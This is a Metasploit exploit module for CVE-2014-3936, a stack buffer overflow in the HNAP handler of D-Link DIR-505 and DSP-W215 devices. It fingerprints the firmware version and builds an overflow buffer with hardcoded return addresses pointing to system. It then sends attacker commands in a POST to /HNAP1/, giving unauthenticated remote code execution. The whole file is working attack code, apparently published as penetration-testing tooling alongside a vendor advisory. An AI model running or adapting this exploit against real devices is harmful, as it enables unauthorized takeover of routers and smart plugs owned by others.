##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link HNAP Request Remote Buffer Overflow',
'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on different
D-Link devices. The vulnerability is due to an stack based buffer overflow while
handling malicious HTTP POST requests addressed to the HNAP handler. This module
has been successfully tested on D-Link DIR-505 in an emulated environment.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery and initial exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'References' =>
[
['CVE', '2014-3936'],
['BID', '67651'],
['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029']
],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
[ 'D-Link DSP-W215 - v1.0',
{
'Offset' => 1000000,
'Ret' => 0x405cac, # jump to system - my_cgi.cgi
}
],
[ 'D-Link DIR-505 - v1.06',
{
'Offset' => 30000,
'Ret' => 0x405234, # jump to system - my_cgi.cgi
}
],
[ 'D-Link DIR-505 - v1.07',
{
'Offset' => 30000,
'Ret' => 0x405c5c, # jump to system - my_cgi.cgi
}
]
],
'DisclosureDate' => 'May 15 2014',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'uri' => "/HNAP1/",
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code)
if res.body =~ /DIR-505/ && res.body =~ /1.07/
@my_target = targets[3] if target['auto']
return Exploit::CheckCode::Appears
elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
@my_target = targets[2] if target['auto']
return Exploit::CheckCode::Appears
elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
@my_target = targets[1] if target['auto']
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Unknown
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")
@my_target = target
check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device")
end
if @my_target.nil? || @my_target['auto']
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
end
print_status("#{peer} - Exploiting #{@my_target.name}...")
execute_cmdstager(
:flavor => :echo,
:linemax => 185
)
end
def prepare_shellcode(cmd)
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
buf << rand_text_alpha_upper(4) # $s0, don't care
buf << rand_text_alpha_upper(4) # $s1, don't care
buf << rand_text_alpha_upper(4) # $s2, don't care
buf << rand_text_alpha_upper(4) # $s3, don't care
buf << rand_text_alpha_upper(4) # $s4, don't care
buf << [@my_target.ret].pack("N") # $ra
# la $t9, system
# la $s1, 0x440000
# jalr $t9 ; system
# addiu $a0, $sp, 0x28 # our command
buf << rand_text_alpha_upper(40) # Stack filler
buf << cmd # Command to execute
buf << "\x00" # NULL-terminate the command
end
def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/HNAP1/",
'encode_params' => false,
'data' => shellcode
}, 5)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
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